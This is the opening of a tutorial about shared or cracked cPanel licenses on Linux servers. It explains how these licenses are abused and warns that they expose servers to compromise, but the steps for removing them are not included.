Guide to Removing Shared or Cracked Licenses from Your Linux Server
Many people use unauthorized or cracked licenses on their servers to save costs but end up compromising their server’s security. In this tutorial, we will show you how to safely remove such licenses and restore the server’s authenticity.
What is a Shared cPanel License?
A shared cPanel license is an illegitimate way of using cPanel. Instead of buying a license for each server, users “share” one license among multiple servers. These providers often take advantage of the trial license of cPanel. Once installed, their script blocks traffic to the official cPanel server for license verification and redirects it to their own server.
Is Using a Shared cPanel License Safe?
Absolutely not! Shared cPanel licenses compromise server security. Once you grant someone root access to install these scripts, your server becomes vulnerable. Shared licenses often use reverse engineering, making it easy for malicious actors to gain root access. By using shared licenses, you expose your server to significant risks of being hacked. We highly recommend using legitimate licenses or exploring alternatives if budget constraints exist.
